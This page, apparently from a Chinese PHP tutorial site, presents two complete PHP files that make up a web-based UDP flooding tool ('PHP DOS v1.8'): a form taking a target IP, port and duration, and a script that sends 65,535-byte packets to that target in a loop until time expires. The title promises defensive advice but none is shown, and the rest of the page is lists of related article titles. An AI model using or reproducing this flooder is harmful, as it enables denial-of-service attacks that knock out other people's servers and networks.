php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
fleaphp crud操作之findByField函数的使用方法
Apr 23 PHP
PHP查询MySQL大量数据的时候内存占用分析
Jul 22 PHP
编写Smarty插件在模板中直接加载数据的详细介绍
Jun 26 PHP
删除html标签得到纯文本可处理嵌套的标签
Apr 28 PHP
访问编码后的中文URL返回404错误的解决方法
Aug 20 PHP
PHP利用MySQL保存session的实现思路及示例代码
Sep 09 PHP
php使用pdo连接报错Connection failed SQLSTATE的解决方法
Dec 15 PHP
PHP的运行机制与原理(底层)
Nov 16 PHP
ThinkPHP项目分组配置方法分析
Mar 23 PHP
PHP开发中csrf攻击的简单演示和防范
May 07 PHP
php图像验证码生成代码
Jun 08 PHP
深入研究PHP中的preg_replace和代码执行
Aug 15 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
使用PHP强制下载PDF文件示例
2014/01/17 PHP
php fsockopen解决办法 php实现多线程
2014/01/20 PHP
PHP中使用hidef扩展代替define提高性能
2015/04/09 PHP
PHP pthreads v3下worker和pool的使用方法示例
2020/02/21 PHP
JS 容错处理代码, 屏蔽错误信息
2021/03/09 Javascript
JQuery为textarea添加maxlength属性并且兼容IE
2013/04/25 Javascript
js 为label标签和div标签赋值的方法
2013/08/08 Javascript
jquery ajax jsonp跨域调用实例代码
2013/12/11 Javascript
JavaScript截取指定长度字符串点击可以展开全部代码
2015/12/04 Javascript
jQuery+css实现的时钟效果(兼容各浏览器)
2016/01/27 Javascript
Javascript获取统一管理的提示语(message)
2016/02/03 Javascript
判断数组是否包含某个元素的js函数实现方法
2016/05/19 Javascript
AJAX实现瀑布流触发分页与分页触发瀑布流的方法
2016/05/23 Javascript
jQuery实现的分页功能示例
2017/01/22 Javascript
javascript遍历json对象的key和任意js对象属性实例
2017/03/09 Javascript
JS排序算法之冒泡排序,选择排序与插入排序实例分析
2017/12/13 Javascript
react中实现搜索结果中关键词高亮显示
2018/07/31 Javascript
vue watch普通监听和深度监听实例详解(数组和对象)
2018/08/16 Javascript
python实现的文件夹清理程序分享
2014/11/22 Python
python爬虫入门教程--正则表达式完全指南(五)
2017/05/25 Python
python之当你发现QTimer不能用时的解决方法
2019/06/21 Python
Django生成数据库及添加用户报错解决方案
2020/10/09 Python
Python 2.6.6升级到Python2.7.15的详细步骤
2020/12/14 Python
matplotlib运行时配置(Runtime Configuration,rc)参数rcParams解析
2021/01/05 Python
绢花、人造花和人造花卉:BLOOM
2019/08/07 全球购物
制药工程专业个人求职自荐信
2014/01/25 职场文书
信息技术培训感言
2014/03/06 职场文书
教学质量评估实施方案
2014/03/17 职场文书
春节联欢晚会主持词
2014/03/24 职场文书
连带责任保证书
2014/04/29 职场文书
新文化运动的基本口号
2014/06/21 职场文书
小学安全汇报材料
2014/08/14 职场文书
贷款承诺书
2015/01/20 职场文书
文体活动总结
2015/02/04 职场文书
合作意向书范本
2019/04/17 职场文书
话题作文之关于呼唤
2019/11/29 职场文书